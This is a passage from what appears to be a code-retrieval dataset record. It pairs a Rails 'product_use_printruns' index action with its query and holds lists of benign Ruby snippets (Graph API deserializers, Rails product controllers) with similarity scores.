n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"processor64BitCheckFailedPercentage\" => lambda {|n| @processor64_bit_check_failed_percentage = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"ramCheckFailedPercentage\" => lambda {|n| @ram_check_failed_percentage = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"secureBootCheckFailedPercentage\" => lambda {|n| @secure_boot_check_failed_percentage = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"storageCheckFailedPercentage\" => lambda {|n| @storage_check_failed_percentage = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"totalDeviceCount\" => lambda {|n| @total_device_count = n.get_number_value() },\n \"tpmCheckFailedPercentage\" => lambda {|n| @tpm_check_failed_percentage = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"upgradeEligibleDeviceCount\" => lambda {|n| @upgrade_eligible_device_count = n.get_number_value() },\n })\n end", "def get_field_deserializers()\n return {\n \"bottom\" => lambda {|n| @bottom = n.get_number_value() },\n \"left\" => lambda {|n| @left = n.get_number_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"right\" => lambda {|n| @right = n.get_number_value() },\n \"top\" => lambda {|n| @top = n.get_number_value() },\n }\n end", "def inherited_fields\n return [] unless has_parent?\n\n names = parent.fields.keys - fields.keys\n names.concat(parent.aliases.reject { |k,v| !parent.has_field?(v) }.keys)\n names.sort!\n\n names\n end", "def increment_field_name(node)\n @node_offset += 1 # I really dislike this offset variable.\n @nodeset[\"#{node.name}_#{@node_offset}\".to_sym] = node.text unless node.blank?\n end", "def get_field_deserializers()\n return {\n \"extensionAttribute1\" => lambda {|n| @extension_attribute1 = n.get_string_value() },\n \"extensionAttribute10\" => lambda {|n| @extension_attribute10 = n.get_string_value() },\n \"extensionAttribute11\" => lambda {|n| @extension_attribute11 = n.get_string_value() },\n \"extensionAttribute12\" => lambda {|n| @extension_attribute12 = n.get_string_value() },\n \"extensionAttribute13\" => lambda {|n| @extension_attribute13 = n.get_string_value() },\n \"extensionAttribute14\" => lambda {|n| @extension_attribute14 = n.get_string_value() },\n \"extensionAttribute15\" => lambda {|n| @extension_attribute15 = n.get_string_value() },\n \"extensionAttribute2\" => lambda {|n| @extension_attribute2 = n.get_string_value() },\n \"extensionAttribute3\" => lambda {|n| @extension_attribute3 = n.get_string_value() },\n \"extensionAttribute4\" => lambda {|n| @extension_attribute4 = n.get_string_value() },\n \"extensionAttribute5\" => lambda {|n| @extension_attribute5 = n.get_string_value() },\n \"extensionAttribute6\" => lambda {|n| @extension_attribute6 = n.get_string_value() },\n \"extensionAttribute7\" => lambda {|n| @extension_attribute7 = n.get_string_value() },\n \"extensionAttribute8\" => lambda {|n| @extension_attribute8 = n.get_string_value() },\n \"extensionAttribute9\" => lambda {|n| @extension_attribute9 = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n }\n end", "def get_field_deserializers()\n return {\n \"decimalPlaces\" => lambda {|n| @decimal_places = n.get_string_value() },\n \"displayAs\" => lambda {|n| @display_as = n.get_string_value() },\n \"maximum\" => lambda {|n| @maximum = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"minimum\" => lambda {|n| @minimum = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n }\n end", "def decorate_grove()\n @@grove.each do |a,b|\n @extcount = 1\n Tree.postorder(b[\"tree\"]) do |n|\n if n.leaf\n if n.basetype =~ /OTHER/\n n.align = @@nn[n.data['.type']][\"align\"]\n else\n n.align = @@tt[n.basetype][\"align\"]\n end\n if n.kind =~ /numeric|boolean|enum/\n if (n.kind =~ /numeric/) && (n.basetype =~ /OTHER/)\n n.size = @@nn[n.data['.type']][\"size\"]\n else\n n.size = @@tt[n.basetype][\"size\"]\n end\n elsif n.kind =~ /array/\n if n.basetype =~ /OTHER/\n n.size = @@nn[n.data['.type']][\"size\"] * n.arrsize\n else\n n.size = @@tt[n.basetype][\"size\"] * n.arrsize\n end\n end\n else # structs/unions/arrays\n n.align = (n.children.collect {|c| c.align}).max\n sizearr = n.children.collect {|c| c.size}\n case n.kind\n when \"struct\"\n n.size = sizearr.inject {|sum,e| sum+e}\n when \"union\"\n n.size = ((sizearr.max+n.align-1)/n.align)*n.align\n when \"array\"\n if n.basetype =~ /struct/\n n.size = (sizearr.inject {|sum,e| sum+e}) * n.arrsize\n elsif n.basetype =~ /union/\n n.size = sizearr.max * n.arrsize\n end\n end\n end\n end\n end\n end", "def each_field\n @_field_path.each do |field_|\n yield(field_, @_values[field_.name])\n end\n end", "def facet_field_names(lens = nil)\n blacklight_config_for(lens).facet_fields.values.map(&:field)\n end", "def fields\n @lhs.fields + (@rhs.fields - @rhs.keys).map{|f| \n @lhs.fields.include?(f) ? \"rhs.#{f}\" : f\n }\n end", "def stringify_numbers(obj)\n\n obj.update(obj) do |key, value|\n if value.class == Hash\n stringify_numbers(value)\n elsif value.class == Integer\n value = value.to_s\n end\n end\nend", "def field_names\n jso.field_names\n end", "def display_field(field, depth = 0, parents = [])\n my_parents = parents.dup\n field_str = ''\n name = field[:name]\n if field[:class] == BinData::Array\n field_str = \"\\n\" + (\"\\t\" * depth) + name.to_s.upcase\n parent = self\n my_parents.each do |pfield|\n parent = parent.send(pfield)\n end\n array_field = parent.send(name)\n field_str << process_array_field(array_field, (depth + 1))\n else\n if my_parents.empty?\n label = \"\\n\" + (\"\\t\" * depth) + name.to_s.upcase\n if field[:class].ancestors.include? BinData::Record\n field_str = label\n else\n value = send(name)\n field_str = format '%-30s %s', label, value\n end\n else\n parent = self\n my_parents.each do |pfield|\n parent = parent.send(pfield)\n end\n value = parent.send(name)\n label = field[:label] || name.to_s.capitalize\n label = \"\\n\" + (\"\\t\" * depth) + label\n field_str = format '%-30s %s', label, value\n end\n end\n my_parents << name\n field[:fields].each do |sub_field|\n field_str << display_field(sub_field, (depth + 1), my_parents)\n end\n field_str\n end", "def get_field_deserializers()\n return {\n \"completedUnits\" => lambda {|n| @completed_units = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"progressObservationDateTime\" => lambda {|n| @progress_observation_date_time = n.get_date_time_value() },\n \"totalUnits\" => lambda {|n| @total_units = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"units\" => lambda {|n| @units = n.get_string_value() },\n }\n end", "def get_field_deserializers()\n return {\n \"guestsCount\" => lambda {|n| @guests_count = n.get_number_value() },\n \"membersCount\" => lambda {|n| @members_count = n.get_number_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"ownersCount\" => lambda {|n| @owners_count = n.get_number_value() },\n }\n end", "def nodes_field\n define_nodes_field\n end", "def all_fields\n found_fields = Array.new\n self.fields.each do |field|\n found_fields << field\n found_fields = found_fields + field.all_fields if field.type == 'ObjectField'\n end\n found_fields\n end", "def field_names\r\n return @field_names\r\n end", "def type_name_enum\r\n [ [ '数字字段1', 'int1' ] ,[ '数字字段2', 'int2' ] ,[ '数字字段3', 'int3' ] ,[ '数字字段4', 'int4' ],[ '数字字段5', 'int5' ],\r\n [ '文本字段1', 'text1' ],[ '文本字段2', 'text2' ],[ '文本字段3', 'text3' ],[ '文本字段4', 'text4' ],[ '文本字段5', 'text5' ],\r\n [ '文本字段6', 'text6' ],[ '文本字段7', 'text7' ],[ '文本字段8', 'text8' ],[ '文本字段9', 'text9' ],[ '文本字段10', 'text10' ]]\r\n end", "def get_field_deserializers()\n return super.merge({\n \"averageInboundBitRate\" => lambda {|n| @average_inbound_bit_rate = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"averageInboundFrameRate\" => lambda {|n| @average_inbound_frame_rate = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"averageOutboundBitRate\" => lambda {|n| @average_outbound_bit_rate = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"averageOutboundFrameRate\" => lambda {|n| @average_outbound_frame_rate = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n })\n end", "def fields\n all_fields = super\n interfaces.each do |int|\n if int.is_a?(GraphQL::InterfaceType)\n int_f = {}\n int.fields.each do |name, legacy_field|\n int_f[name] = field_class.from_options(name, field: legacy_field)\n end\n all_fields = int_f.merge(all_fields)\n end\n end\n all_fields\n end", "def get_unique_field_names(json_doc, fields_set = SortedSet.new([]))\n\n json_doc.each { |k, v| fields_set.add(k) } if json_doc.is_a?(Hash)\n json_doc.each { |k, v| get_unique_field_names(json_doc[k], fields_set) } if json_doc.is_a?(Hash)\n json_doc.each { |doc| get_unique_field_names(doc, fields_set) } if json_doc.is_a?(Array)\n fields_set\nend", "def get_number(field)\n field['numberValue']\n end", "def names\n iterator = @form_fields.keySet.iterator\n set = []\n set << iterator.next.toString.to_sym while iterator.hasNext\n set\n end", "def consume_numeric; end", "def numeric_attrs\n int_attrs + float_attrs\n end", "def all_fields\n fields = Set.new(@fields)\n @times.each {|entry| fields += entry.keys} unless fields.size > 0\n return fields.to_a.sort\n end", "def get_field_deserializers()\n return {\n \"labels\" => lambda {|n| @labels = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::SensitivityLabelAssignment.create_from_discriminator_value(pn) }) },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n }\n end", "def number_field_tag(name, value = T.unsafe(nil), options = T.unsafe(nil)); end", "def calculate_frequencies\n order_attributes(true)\n build_tree\n end", "def get_field_deserializers()\n return {\n \"activityIdentifier\" => lambda {|n| @activity_identifier = n.get_string_value() },\n \"countEntitled\" => lambda {|n| @count_entitled = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"countEntitledForProvisioning\" => lambda {|n| @count_entitled_for_provisioning = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"countEscrowed\" => lambda {|n| @count_escrowed = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"countEscrowedRaw\" => lambda {|n| @count_escrowed_raw = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"countExported\" => lambda {|n| @count_exported = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"countExports\" => lambda {|n| @count_exports = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"countImported\" => lambda {|n| @count_imported = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"countImportedDeltas\" => lambda {|n| @count_imported_deltas = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"countImportedReferenceDeltas\" => lambda {|n| @count_imported_reference_deltas = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"error\" => lambda {|n| @error = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SynchronizationError.create_from_discriminator_value(pn) }) },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"state\" => lambda {|n| @state = n.get_enum_value(MicrosoftGraph::Models::SynchronizationTaskExecutionResult) },\n \"timeBegan\" => lambda {|n| @time_began = n.get_date_time_value() },\n \"timeEnded\" => lambda {|n| @time_ended = n.get_date_time_value() },\n }\n end", "def fix_dots\n fields = %w(100$a 100$d 240$a 300$a 710$a 700$a 700$d)\n fields.each do |field|\n tag, code = field.split(\"$\")\n links = node.xpath(\"//marc:datafield[@tag='#{tag}']/marc:subfield[@code='#{code}']\", NAMESPACE)\n links.each {|link| link.content = link.content.gsub(/[\\.,:]$/, \"\")}\n end\n end", "def get_field_deserializers()\n return {\n \"malwareCategorySummary\" => lambda {|n| @malware_category_summary = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::WindowsMalwareCategoryCount.create_from_discriminator_value(pn) }) },\n \"malwareDetectedDeviceCount\" => lambda {|n| @malware_detected_device_count = n.get_number_value() },\n \"malwareExecutionStateSummary\" => lambda {|n| @malware_execution_state_summary = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::WindowsMalwareExecutionStateCount.create_from_discriminator_value(pn) }) },\n \"malwareNameSummary\" => lambda {|n| @malware_name_summary = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::WindowsMalwareNameCount.create_from_discriminator_value(pn) }) },\n \"malwareSeveritySummary\" => lambda {|n| @malware_severity_summary = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::WindowsMalwareSeverityCount.create_from_discriminator_value(pn) }) },\n \"malwareStateSummary\" => lambda {|n| @malware_state_summary = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::WindowsMalwareStateCount.create_from_discriminator_value(pn) }) },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"osVersionsSummary\" => lambda {|n| @os_versions_summary = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::OsVersionCount.create_from_discriminator_value(pn) }) },\n \"totalDistinctMalwareCount\" => lambda {|n| @total_distinct_malware_count = n.get_number_value() },\n \"totalMalwareCount\" => lambda {|n| @total_malware_count = n.get_number_value() },\n }\n end", "def all_labels # :yields: Array of Strings\n # includes plurals etc.\n self.labels.inject([]){|sum, l| sum + l.all_forms}.sort\n end", "def each_field\n self.class.__send__(:sorted_fields).each do |_, field|\n value = __send__(field.name)\n yield(field, value)\n end\n end", "def get_fields(fbe_value, fbe_struct_size)\n fbe_current_size = 4 + 4\n\n if (fbe_current_size + currency.fbe_size) <= fbe_struct_size\n fbe_value.currency = currency.get\n else\n fbe_value.currency = ''\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += currency.fbe_size\n\n if (fbe_current_size + amount.fbe_size) <= fbe_struct_size\n fbe_value.amount = amount.get(0.0)\n else\n fbe_value.amount = 0.0\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += amount.fbe_size\n end", "def get_field_deserializers()\n return {\n \"category1\" => lambda {|n| @category1 = n.get_string_value() },\n \"category10\" => lambda {|n| @category10 = n.get_string_value() },\n \"category11\" => lambda {|n| @category11 = n.get_string_value() },\n \"category12\" => lambda {|n| @category12 = n.get_string_value() },\n \"category13\" => lambda {|n| @category13 = n.get_string_value() },\n \"category14\" => lambda {|n| @category14 = n.get_string_value() },\n \"category15\" => lambda {|n| @category15 = n.get_string_value() },\n \"category16\" => lambda {|n| @category16 = n.get_string_value() },\n \"category17\" => lambda {|n| @category17 = n.get_string_value() },\n \"category18\" => lambda {|n| @category18 = n.get_string_value() },\n \"category19\" => lambda {|n| @category19 = n.get_string_value() },\n \"category2\" => lambda {|n| @category2 = n.get_string_value() },\n \"category20\" => lambda {|n| @category20 = n.get_string_value() },\n \"category21\" => lambda {|n| @category21 = n.get_string_value() },\n \"category22\" => lambda {|n| @category22 = n.get_string_value() },\n \"category23\" => lambda {|n| @category23 = n.get_string_value() },\n \"category24\" => lambda {|n| @category24 = n.get_string_value() },\n \"category25\" => lambda {|n| @category25 = n.get_string_value() },\n \"category3\" => lambda {|n| @category3 = n.get_string_value() },\n \"category4\" => lambda {|n| @category4 = n.get_string_value() },\n \"category5\" => lambda {|n| @category5 = n.get_string_value() },\n \"category6\" => lambda {|n| @category6 = n.get_string_value() },\n \"category7\" => lambda {|n| @category7 = n.get_string_value() },\n \"category8\" => lambda {|n| @category8 = n.get_string_value() },\n \"category9\" => lambda {|n| @category9 = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n }\n end", "def get_double_value(field_name)\n\t\tend", "def getNumberAsStr\n\t\tnumbers_name_hash = {\n\t\t 1000000000000 => l(:label_trillion),\n\t\t 1000000000 => l(:label_billion),\n\t\t 1000000 => l(:label_million),\n\t\t 1000 => l(:label_thousand),\n\t\t 100 => l(:label_hundred),\n\t\t 90 => l(:label_ninety),\n\t\t 80 => l(:label_eighty),\n\t\t 70 => l(:label_seventy),\n\t\t 60 => l(:label_sixty),\n\t\t 50 => l(:label_fifty),\n\t\t 40 => l(:label_forty),\n\t\t 30 => l(:label_thirty),\n\t\t 20 => l(:label_twenty),\n\t\t 19=> l(:label_nineteen),\n\t\t 18=> l(:label_eighteen),\n\t\t 17=> l(:label_seventeen), \n\t\t 16=> l(:label_sixteen),\n\t\t 15=> l(:label_fifteen),\n\t\t 14=> l(:label_fourteen),\n\t\t 13=> l(:label_thirteen), \n\t\t 12=> l(:label_twelve),\n\t\t 11=> l(:label_eleven),\n\t\t 10=> l(:label_ten),\n\t\t 9 => l(:label_nine),\n\t\t 8 => l(:label_eight),\n\t\t 7 => l(:label_seven),\n\t\t 6 => l(:label_six),\n\t\t 5 => l(:label_five),\n\t\t 4 => l(:label_four),\n\t\t 3 => l(:label_three),\n\t\t 2 => l(:label_two),\n\t\t 1 => l(:label_one)\n\t\t}\n\tend", "def process_fields(fields)\n fields.map { |field| field.to_s.include?('.') ? field.to_s : \"#{self.table_name}.#{field}\" }\n end", "def fields; end", "def fields; end", "def fields; end", "def collect_attribute_labels(original_data)\n original_data.keys\nend", "def get_labels_and_nicks(field_info)\n labels_and_nicks = {}\n field_info.each { |field| labels_and_nicks.store(field['name'], field['nick']) }\n labels_and_nicks\n end", "def stringify_keys_recursively!(object); end", "def fields\n @doc.xpath(\"//field\").map{|node| node['id']}.sort\n end", "def get_field_deserializers()\n return {\n \"day\" => lambda {|n| @day = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"month\" => lambda {|n| @month = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"year\" => lambda {|n| @year = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n }\n end", "def get_field_deserializers()\n return {\n \"coManagedDeviceCount\" => lambda {|n| @co_managed_device_count = n.get_number_value() },\n \"intuneDeviceCount\" => lambda {|n| @intune_device_count = n.get_number_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"tenantAttachDeviceCount\" => lambda {|n| @tenant_attach_device_count = n.get_number_value() },\n }\n end", "def add_scalar_fields_to_object(object, nodes)\n scalar_fields.each do |field_name|\n node_name = field_node_name(field_name)\n node = nodes.find { |n| n.value == node_name }\n\n next unless node\n\n if node.nodes.length > 1\n raise \"Expected #{node_name} to only have 1 child\"\n end\n\n object.send(\"#{field_name}=\", node.text)\n end\n end", "def fields_for_query\n self.class.fields_coercions.keys.each_with_object({}) do |field_name, results|\n results[field_name] = @fields.each_with_object({}) do |(locale, fields), field_results|\n field_results[locale] = get_value_from(fields, field_name)\n end\n end\n end", "def fields_for_query\n self.class.fields_coercions.keys.each_with_object({}) do |field_name, results|\n results[field_name] = @fields.each_with_object({}) do |(locale, fields), field_results|\n field_results[locale] = get_value_from(fields, field_name)\n end\n end\n end", "def prepare_types(elements)\n return if not elements\n elements.elements.each(\"typedef\") do\n |typedef|\n @types[typedef.attributes[\"name\"]]=typedef.attributes[\"basetype\"]\n format=typedef.elements[\"format\"].text\n if format =~ /^d-[0-9]+$/\n @decimals[typedef.attributes[\"name\"]]=format.sub(/^d-/,\"\").to_i\n end\n end\n end", "def facet_field_aggregations\n list_as_hash(facet_fields).each_with_object({}) do |(facet_field_name, values), hash|\n items = values.map do |value, hits|\n i = FacetItem.new(value: value, hits: hits)\n\n # solr facet.missing serialization\n if value.nil?\n i.label = I18n.t(:\"blacklight.search.fields.facet.missing.#{facet_field_name}\", default: [:\"blacklight.search.facets.missing\"])\n i.fq = \"-#{facet_field_name}:[* TO *]\"\n end\n\n i\n end\n\n options = facet_field_aggregation_options(facet_field_name)\n hash[facet_field_name] = FacetField.new(facet_field_name,\n items,\n options)\n\n # alias all the possible blacklight config names..\n blacklight_config.facet_fields.select { |k,v| v.field == facet_field_name }.each do |key,_|\n hash[key] = hash[facet_field_name]\n end if blacklight_config and !blacklight_config.facet_fields[facet_field_name]\n end\n end", "def fields()\n if !@custom_fields || @fields.length == 0 then\n @elements.each { |field|\n if field.respond_to?(:is_form_field) then\n @fields << field.name\n @element_map[field.name.to_s] = field\n elsif field.is_a?(Fieldset) then\n @fields << { field.name => field.fields }\n @element_map.update(field.element_map)\n end\n }\n end\n @fields.uniq!\n return @fields\n end", "def method_missing name, *args, &block\n if name.to_s =~ /^(.+)_fields$/\n self.fields.select {|f| f.data_type.to_s.parameterize.underscore == $1 } || super\n else \n super\n end\n end", "def each_name\n @fields.each { |i|\n yield(i.name)\n }\n end", "def graphable_fields(admin)\r\n admin.enterprise.fields + fields\r\n end", "def fix_dots\n fields = %w(100$a 100$d 240$a 300$a $650a 710$a 700$a 700$d)\n fields.each do |field|\n tag, code = field.split(\"$\")\n links = node.xpath(\"//marc:datafield[@tag='#{tag}']/marc:subfield[@code='#{code}']\", NAMESPACE)\n links.each {|link| link.content = link.content.gsub(/[\\.,:]$/, \"\")}\n end\n end", "def numerical_representation\n @numerical_representation ||= digits.scan(/\\d{11}/).collect {|p| \"#{p} #{digit(p)}\" }\n end" ]
[ "0.5432866", "0.53102565", "0.52796835", "0.52709085", "0.522065", "0.5217539", "0.5139538", "0.5131412", "0.5102048", "0.5074465", "0.50738597", "0.5064006", "0.5051592", "0.50502515", "0.50409746", "0.5034112", "0.5014364", "0.49989843", "0.49852598", "0.49756688", "0.49630746", "0.49475116", "0.49086934", "0.49054223", "0.49010438", "0.4890794", "0.48861957", "0.48598853", "0.48598808", "0.48550215", "0.48538673", "0.48528734", "0.4843386", "0.4841289", "0.48352128", "0.48279336", "0.48272", "0.4822869", "0.48114076", "0.4794565", "0.4783798", "0.4781276", "0.47798795", "0.47797322", "0.47702882", "0.4765634", "0.47464335", "0.47460583", "0.47428235", "0.47376165", "0.47260574", "0.47246727", "0.4723912", "0.47060174", "0.4679915", "0.46736035", "0.46691474", "0.4667464", "0.46611676", "0.4658648", "0.46557295", "0.46522453", "0.46501723", "0.4643725", "0.46388543", "0.46349716", "0.46345252", "0.46304053", "0.46183512", "0.4614426", "0.46063942", "0.46043074", "0.46006218", "0.4600322", "0.4597506", "0.45955813", "0.45950076", "0.4578086", "0.45775163", "0.45754766", "0.4567588", "0.4567588", "0.4567588", "0.4564285", "0.4563542", "0.45601064", "0.45587015", "0.45572525", "0.45521832", "0.4546084", "0.45460215", "0.45460215", "0.45441577", "0.4541886", "0.4535571", "0.4531083", "0.4530586", "0.45289704", "0.45280933", "0.45277995" ]
0.5048839
14
GET /product_use_printruns GET /product_use_printruns.xml
def index @product_use_printruns = ProductUsePrintrun.find(:all) respond_to do |format| format.html # index.html.erb format.xml { render :xml => @product_use_printruns } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n @product_use_printrun = ProductUsePrintrun.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product_use_printrun }\n end\n end", "def onix_xml_for_product(product_or_rr, full_message = false) #:nodoc:\n if product_or_rr.kind_of? Elibri::ApiClient::ApiAdapters::V1::Product\n rr = product_or_rr.record_reference\n else\n rr = product_or_rr\n end\n resp = get \"/products/#{rr}\", :headers => {\"X-eLibri-API-ONIX-dialect\" => @onix_dialect}\n if full_message\n resp.parsed_response\n else\n resp.parsed_response.css('Product').first\n end\n end", "def products\n request :public, :get, :products\n end", "def get_products()\n\tputs \"Getting products\"\n\tresponse = request_get(\"/api/product\")\n\tputs response.body\nend", "def products\n @products = ['ninja', 'fish', 'chauffeur']\n respond_to do |format|\n format.html # render html version\n format.xml {\n # NOTE This only works for ActiveRecord objects\n # render :xml => @products.to_xml\n render :file => \"machines/products.rxml\", :use_full_path => true\n }\n end\n end", "def show\n @lista_precio = ListaPrecio.find(params[:id])\n @producto_listas = @lista_precio.producto_lista_precios.paginate(:page => params[:page],:per_page => 30)\n @cant_productos = @lista_precio.producto_lista_precios.count \n\n respond_to do |format|\n format.html \n format.xml { render :xml => @lista_precio}\n end\n end", "def index\n @rep_tot = Product.report_totals[0]\n @rep_loc = Location.report_located[0]\n\n @products = Product.grid\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @products }\n end\n end", "def show\n @products = CatalogMebeli.find(params[:id]).products\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product }\n end\n end", "def show\n @product_set = ProductSet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product_set }\n end\n end", "def get_products(add_params = nil)\n params = {\n uid: uid,\n }\n api_call('/stores/:uid/products(.:format)',:get,params,add_params)\n end", "def get_product(rid, add_params = nil)\n params = {\n uid: uid,\n rid: rid,\n }\n api_call('/stores/:uid/products/:rid(.:format)',:get,params,add_params)\n end", "def index\n @products = Product.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @products }\n end\n end", "def show\n @produto_kit = ProdutoKit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @produto_kit }\n end\n end", "def product(name)\n get(\"/apiproducts/#{name}\")\n end", "def show\n @prizecount = Prizecount.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @prizecount }\n end\n end", "def index\n @product_licence_details = ProductLicenceDetail.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @product_licence_details }\n end\n end", "def show\n @product_request = ProductRequest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product_request }\n end\n end", "def show\n\t\t@produt = Produt.find(params[:id])\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.xml {render :xml => @produt}\n\t\tend\n\tend", "def index\n @products = Product.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @products }\n end\n end", "def show\r\n\t @product = Product.find(params[:id])\r\n\t @products = Product.find(:all)\r\n \r\n\t respond_to do |format|\r\n\t\t format.html # show.html.erb\r\n\t\t format.xml { render :xml => @product }\r\n\t end\r\n\tend", "def index\n @product_statuses = ProductStatus.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @product_statuses }\n end\n end", "def index\n @product_sets = ProductSet.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @product_sets }\n end\n end", "def show\n respond_to do |format|\n format.html { render_template } # show.html.erb\n format.xml { render xml: @product_software }\n end\n end", "def index\n @products = Product.all.paginate(:per_page => 10, :page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @products }\n end\n \n end", "def show\n @user_product_xref = UserProductXref.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user_product_xref }\n end\n end", "def index\n @sprints = @product.sprints\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sprints }\n end\n end", "def index\n respond_to do |format|\n format.html { render_template } # index.html.erb\n format.xml { render xml: @product_softwares }\n end\n end", "def who_bought\n @product = Product.find(params[:id])\n respond_to do |format|\n format.atom\n #format.xml { render :xml => @product }\n format.xml { render :xml => @product.to_xml(:include => :orders) }\n format.json {render :json => @product.to_json(:include => :orders)}\n\n end\n end", "def show\n @product_list = ProductList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product_list }\n end\n end", "def get_products_support_data\n @client.raw('get', '/ecommerce/products/support-data')\n end", "def index\n b_admin = current_user.admin? rescue false\n @products = Product.filter_by_params(b_admin, params)\n #@products = Product.available\n \n @title = Product.page_description(params)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @products }\n end\n end", "def products\n run(:get,\"/school_products\", [200])\n end", "def show_rest\n @item_usage = ItemUsage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item_usage }\n end\n end", "def show\n @product_status = ProductStatus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product_status }\n end\n end", "def index\n if is_my_resource(params[:prossumer_id])\n @products = Product.where(prossumer_id: params[:prossumer_id]).as_json({\n cycle_id: params[:cycle_id],\n include: {\n prossumer: {\n except: [:encrypted_password, :salt, :confirm_hash]\n },\n product_category: {}\n }\n })\n render json: @products\n end\n end", "def index\n @products_purposes_relations = ProductsPurposesRelation.all\n end", "def view\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product }\n end\n end", "def show\n @prd_etc = PrdEtc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @prd_etc }\n end\n end", "def index\n @product_requests = ProductRequest.all\n end", "def index\n @products = get_products(:page => params[:page], :per_page => params[:per_page])\n\n respond_to do |format|\n format.html # index.html.haml\n format.js # index.js.rjs\n format.xml { render :xml => @products }\n end\n end", "def index\n# @products = Product.all\n#pagination:\n\t@products = Product.all.paginate :per_page => 5, :page => params[:page]\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @products }\n end\n end", "def show\r\n load_session\r\n\r\n @product = Product.find(params[:id])\r\n @product_desc = @product.product_description\r\n\r\n # Build XML resposne object\r\n xml = Builder::XmlMarkup.new\r\n xml.instruct!\r\n xml.response << @product.to_xml\r\n\r\n respond_to do |format|\r\n format.html # { render :layout => 'home' }\r\n format.xml # { render :xml => @product }\r\n end\r\n end", "def index\n respond_with ProductNodes.all\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @product.to_xml }\n 